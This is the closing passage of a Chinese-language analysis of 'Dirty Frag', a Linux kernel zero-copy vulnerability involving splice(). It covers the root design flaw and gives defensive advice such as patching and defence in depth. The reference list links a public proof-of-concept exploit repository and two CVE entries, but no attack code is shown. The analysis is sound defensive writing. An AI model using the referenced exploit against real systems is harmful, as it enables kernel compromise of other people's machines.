从技术层面看,Dirty Frag 揭示的核心问题是 Linux 内核零拷贝机制的安全缺陷:内核假设所有原地操作的内存页都是内核私有的,但 splice() 打破了这个假设。每个子系统的开发者都需要自己检查零拷贝源页的安全性,这种碎片化的安全模型注定会产生遗漏。
从更宏观的视角看,Dirty Frag 反映的是性能与安全的根本矛盾。零拷贝技术是现代操作系统性能的基石,但它本质上是一种「安全换性能」的设计。过去 10 年的漏洞历史证明,Linux 内核需要从根本上重新设计零拷贝的安全模型,而不是继续在各个子系统中打补丁。
对于每一位 Linux 系统管理员和开发者:不要抱有侥幸心理。Dirty Frag 的 PoC 已经公开,野外利用正在快速扩散。立即应用本文中的防护措施,在官方补丁发布后尽快升级内核。同时,重新审视你的安全架构——容器隔离不是银弹,纵深防御才是王道。
参考资源:
- Dirty Frag PoC 仓库:https://github.com/V4bel/dirtyfrag
- Linux 内核安全公告:https://lore.kernel.org/linux-cve-announce/
- NVD 漏洞详情:CVE-2026-43284, CVE-2026-43500